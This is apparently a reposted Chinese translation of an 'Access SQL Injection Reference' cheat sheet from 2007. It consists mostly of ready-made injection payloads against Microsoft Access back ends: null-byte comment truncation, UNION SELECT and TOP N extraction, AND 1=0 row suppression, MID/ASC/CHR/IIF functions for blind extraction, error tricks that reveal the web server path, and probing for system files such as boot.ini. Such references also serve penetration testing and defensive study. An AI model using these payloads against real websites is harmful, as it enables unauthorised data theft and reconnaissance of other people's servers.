当前位置:Gxlcms > mysql > AccessSQL注入参考

AccessSQL注入参考

时间:2021-07-01 10:21:17 帮助过:30人阅读

本文记得要收藏哦: 本文记得要收藏哦: Access SQL 注入 参考 版本 0.2.1 (最近更新 10/10/2007) 恶魔傻蛋译 描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替: UNION SELECT 1,1,1

本文记得要收藏哦:

本文记得要收藏哦:

Access SQL注入参考

版本 0.2.1
(最近更新 10/10/2007)
恶魔傻蛋译

描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
  • UNION SELECT 1,1,1 FROM validTableName%00

语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
  • AND (SELECT TOP 1 someData FROM validTableName)%00
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
  • UNION SELECT TOP 3 AttrName FROM validTableName%00 : 这条语句返回(前)3 行.
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
  • AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
  • UNION SELECT web %2b app FROM validTableName%00 : 返回"webapp"

  • UNION SELECT web %26 app FROM validTableName%00 : 返回"webapp"
子字符串 MID()函数:
  • UNION SELECT MID(abcd,1,1) FROM validTableName%00 : 返回 "a"
  • UNION SELECT MID(abcd,2,1) FROM validTableName%00 : 返回 "b"
字符串长度 LEN()函数:
  • UNION SELECT LEN(1234) FROM validTableName%00 : 返回 4
暴WEB路径 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:
  • UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
取字符的ASCII值 ASC()函数:
  • UNION SELECT ASC(A) FROM ValidTable%00 :返回65 (A的ASCII值)
ASCII值转换为字符 CHR()函数:
  • UNION SELECT CHR(65) FROM validTableName%00 : 返回 A
IF语句 可以使用IIF()函数. 语法 : IIF(condition, true, false) :
  • UNION SELECT IIF(1=1, a, b) FROM validTableName%00 : 返回 a
时间接口 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.
验证文件是否存在

注入的时候使用:

  • UNION SELECT name FROM msysobjects IN oot.ini%00 : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.

表名猜解 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:

点击复制链接 与好友分享!回本站首页

分享到: 更多

人气教程排行